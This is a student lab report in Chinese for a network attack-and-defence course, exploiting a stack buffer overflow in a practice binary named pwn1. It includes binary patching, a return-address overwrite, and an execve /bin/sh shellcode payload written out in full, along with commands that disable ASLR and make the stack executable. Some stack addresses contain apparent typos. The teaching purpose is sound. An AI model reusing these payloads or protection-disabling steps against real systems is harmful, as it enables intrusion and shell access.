1. 程式人生 > 其它 >20212920 許邵 2021-2022-2 《網路攻防實踐》實踐九報告

20212920 許邵 2021-2022-2 《網路攻防實踐》實踐九報告

20212920 許邵 2021-2022-2 《網路攻防實踐》實踐九報告

1.實踐內容

本次實踐的物件是一個名為pwn1的linux可執行檔案。

該程式正常執行流程是:main呼叫foo函式,foo函式會簡單回顯任何使用者輸入的字串。

該程式同時包含另一個程式碼片段,getShell,會返回一個可用Shell。正常情況下這個程式碼是不會被執行的。我們實踐的目標就是想辦法執行這個程式碼片段。我們將學習兩種方法執行這個程式碼片段,然後學習如何注入執行任何Shellcode。

三個實踐內容如下:

  • 手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式。
  • 利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式。
  • 注入一個自己製作的shellcode並執行這段shellcode。

理論基礎:
1.常用的彙編指令

指令 描述 格式 說明
MOV 傳送字或位元組 MOV DEST,SRC 將SRC移動到DEST
XCHG 交換指令 XCHG OPER1,OPER2 把運算元oper1與運算元oper2交換
ADD 加法 ADD DEST,SRC DEST<=DEST+SRC
SUB 減法 SUB DEST,SRC DEST<=DEST-SRC
CMP 比較 CMP DEST,SRC 計算DEST-SRC的差,不處理結果
JMP 無條件轉移指令 JMP LABEL 無條件跳轉到LABEL處
CALL 過程呼叫指令 CALL LABEL 段內直接呼叫LABEL處指令
RET 段內過程返回指令 RET 結束子程式
SAL 算術左移 SAL OPRD,count 將OPRD算術左移count位
SHL 邏輯左移 SHL OPRD,count 將OPRD邏輯左移count位
SAR 算術右移 SAR OPRD,count 將OPRD算術右移count位
SHR 邏輯右移 SHR OPRD,count 將OPRD邏輯右移count位
PUSH 進棧 PUSH SRC 將SRC壓入堆疊
POP 出棧 POP SRC 將SRC推出堆疊
LEA 取有效地址 LEA REC,OPRD 把運算元oprd的有效地址傳送到運算元rec

2.Shellcode
shellcode是一段用於利用軟體漏洞而執行的程式碼,shellcode為16進位制的機器碼,因為經常讓攻擊者獲得shell而得名。shellcode常常使用機器語言編寫。可在暫存器eip溢位後,塞入一段可讓CPU執行的shellcode機器碼,讓電腦可以執行攻擊者的任意指令。
使用shellcode的基本步驟為:
‐ 先正向寫出我們想要的程式碼。
‐ 用反編譯軟體,找到對應的硬編碼。

  • 適當修改硬編碼。

2.實踐過程

2.1 可執行檔案的修改

原本pwn1的功能是:簡單回顯使用者輸入的字串。

反彙編提供的pwn1檔案,命令:objdump -d pwn1 | more

反彙編後,這裡顯示了這個程式使用的所有函式。函式中包括了所有的彙編指令。
如下圖中的getshell、foo和main函式。

我們還可以看到,main函式中的第四行call指令,會將函式呼叫到foo函式中,而foo函式中沒有跳轉到getShell函式(0804847d)的指令。進一步分析得出,在這個檔案中,call指令的機器碼是e8.
實際上,8048491=80484ba+ffffffd7,也就是說,call指令跳轉到的目標foo函式的地址(8048491)正是該指令的下一條指令的EIP暫存器的值(80484ba,這正是該指令的下一條指令的地址)與該指令的表示目標的欄位(ffffffd7,小端優先)之和。
因此,我們可以這樣修改:
由於804847d-80484ba=ffffffc3,所以我們只需要把call指令的目標地址由d7ffffff改為c3ffffff即可。

先拷貝cp pwn1 pwn1-20212920
然後用vi編輯器開啟拷貝出來的pwn1-20212920。

得到一串亂碼。按下esc離開編輯模式,然後鍵入:%!xxd,切換到16進位制模式。

根據之前看到的反彙編的結果,鍵入/d7,進行定位,如果前後正是e8d7ffff,即可判斷這就是我們要修改的位置(在4b0行)。
修改d7為c3(游標定位到要切換的字元,按r鍵進入到切換字元模式,然後鍵入),然後轉換為原來的格式:%!xxd -r,儲存退出:wq

重新反彙編objdump -d pwn1-20212920 | more,發現主函式中的call指令目標成功切換到了getShell。

執行一下,./pwn1-20212920,發現該程式改為呼叫shell指令了。

2.2 改變指令流,實現BOF攻擊

首先反彙編這個pwn檔案,檢視一下程式的基本功能,找到foo的漏洞。
先看foo函式。

08048491 <foo>:
 8048491:       55                      push   %ebp
 8048492:       89 e5                   mov    %esp,%ebp
 8048494:       83 ec 38                sub    $0x38,%esp      
 8048497:       8d 45 e4                lea    -0x1c(%ebp),%eax 
 804849a:       89 04 24                mov    %eax,(%esp)
 804849d:       e8 8e fe ff ff          call   8048330 <gets@plt>
 80484a2:       8d 45 e4                lea    -0x1c(%ebp),%eax
 80484a5:       89 04 24                mov    %eax,(%esp)
 80484a8:       e8 93 fe ff ff          call   8048340 <puts@plt>
 80484ad:       c9                      leave  
 80484ae:       c3                      ret  

第三行的sub指令,給堆疊預留了一定大小的空間;通過第四行的lea指令,將攜帶偏移量0x1c的ebp放到eax,然後在第五行,將eax放到堆疊esp上,相當於把一定大小的空間(長度為28)預留給函式geps@plt(負責讀取使用者輸入的字串,將字串拷貝到指標ptr中)。
分析可得,該函式會預留一個28位元組的空間,當輸入長度大於28位元組的字串時,會發生緩衝區溢位。
該函式的ebp部分是從主函式main通過call foo指令傳入的,所以溢位的一部分將被作為eip暫存器的值。而eip和ebp暫存器的長度恰為4位元組。
如果我們把eip的值,也就是輸入的字串的第33-36個位元組設為getshell的地址值0804847d,那麼,我們會進入getshell函式,從而實現對shell指令的控制。
由於elf語言是小端優先,我們在33-36個位元組應該這樣輸入:\x7d\x84\x04\x08
但是,由於這四個字元無法直接通過鍵盤輸入,我們需要採取額外的手段。這裡使用Perl。Perl是一門解釋性語言,可以直接在命令列上使用。
執行命令perl -e 'print "11112222333344445555666677778888\x7d\x84\x04\x08\x0a"' > pwn1_input,輸出到pwn1_input檔案中。由於pwn1_input中有些字元無法顯示,故通過管道進行輸入:(cat pwn1_input; cat) | ./pwn1

然後輸入相應的shell指令,發現這個程式確實在使用getShell函式,將輸入的字串當成shell指令處理了,說明BOF攻擊是成功的。

2.2.3 注入shellcode程式碼

使用的程式碼如下圖所示。

將上述程式碼儲存到exp9.c檔案中,使用gcc進行靜態編譯:gcc -static -o exp9 exp9.c
先執行一下看看。

發現該檔案會將輸入的字元轉化為shell命令進行處理。

為了方便我們將shellcode指令注入到堆疊中,我們要先做以下準備工作:

  • 關閉地址隨機化
    先用命令cat /proc/sys/kernel/randomize_va_space,檢視地址隨機化是開啟(2)還是關閉(0)

    如上圖,目前是開啟狀態,sudo su提權,然後使用命令echo "0" > /proc/sys/kernel/randomize_va_space關閉它。如果上圖顯示的是0則不需要修改。

  • 設定堆疊可執行
    先安裝execstack。
    然後拷貝一個pwn1的備份到2920pwn1檔案。先使用命令execstack -s 2920pwn1設定堆疊可執行,然後用execstack -q 2920pwn1檢視堆疊是否可執行。

先採用nop+shellcode+retaddr的方式構造一個負載。nop一是為了填充,二是作為“著陸區、滑行區”,我們猜測,返回的地址只要落在任何一個nop上,就會滑到我們的shellcode。
構造的負載如下所示:
\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x04\x03\x02\x01\x00
使用命令perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x04\x03\x02\x01\x00"'>input_shellcode,將這個負載輸出到input_shellcode檔案中,使用這個shellcode執行2920pwn1。
(cat input_shellcode; cat) | ./2920pwn1
按兩下enter鍵,發現segmentation fault錯誤,說明這個程式有問題。
為了除錯這一問題,我們重新執行這個程式,然後再開啟一個終端。在新的終端上查詢2920pwn1所在程序的程序號。

程序號是6370。
啟動GDB,用attach追蹤這個程序。

設定斷點break *0x080484ae。可以先用指令disassemble foo,檢視該函式的return指令在哪裡。

在執行pwn1的終端中按下回車鍵,在執行gdb除錯的終端中輸入命令c,便捕捉到了斷點,用info r esp發現該函式返回的地址是0xbfff49c。

經過尋找,我們不難發現,shellcode所在地址為0xbfff47c。

退出GDB。
在執行shellcode的終端上,修改shellcode指令perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x7c\xf4\xff\xbf\x00"'>input_shellcode_1
執行(cat input_shellcode_1;cat)| ./2920pwn1

發現還是不行。

那我們就按照另一種形式anything+retaddr+nops+shellcode,對shellcode進行修改。
之前我們看到01020304所在的地址為0xbfff49c,而shellcode的地址正是它的下四個位元組的地址,也就是0xbfff4a0
perl -e 'print "A" x 32; print "\xa0\xf4\xff\xbf\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"'>input_shellcode_2

重新執行指令(cat input_shellcode_2; cat) | ./2920pwn1,發現該程式成功讀取了shell指令,實現了BOF攻擊。

3.學習中遇到的問題及解決

  • 問題1:一開始跟著視訊做,完全不清楚為什麼要填寫這些指令。
  • 問題1解決方案:上網查閱了有關組合語言常用指令的部落格,初步理解了pwn1檔案中某些演算法的執行原理。
  • 問題2:執行pwn1檔案,顯示許可權不夠,切換到root後還是不行。
  • 問題2解決方案:sudo chmod 755 pwn1,修改檔案屬性
  • 問題3:在Kali Linux虛擬機器安裝execstack時,顯示“無法定位軟體包”
  • 問題3解決方案:https://blog.csdn.net/weixin_43729943/article/details/104221462 ,然後sudo apt install prelink,也可以直接在Ubuntu虛擬機器下做這一部分實驗。
  • 問題4:修改後的shellcode執行依然報錯。
  • 問題4解決方案:這是使用了64位作業系統的緣故,換32位作業系統再試試。

4.實踐總結

這次實踐明顯要難於其他的實踐,一定要耐心操作,認真分析,發現問題要及時改進。通過本次實踐,我對shellcode技術和組合語言有了初步的瞭解,讓我充分體會到了程式執行的深層次的邏輯,對程式執行、程序與堆疊的關係有了進一步的體會。

參考資料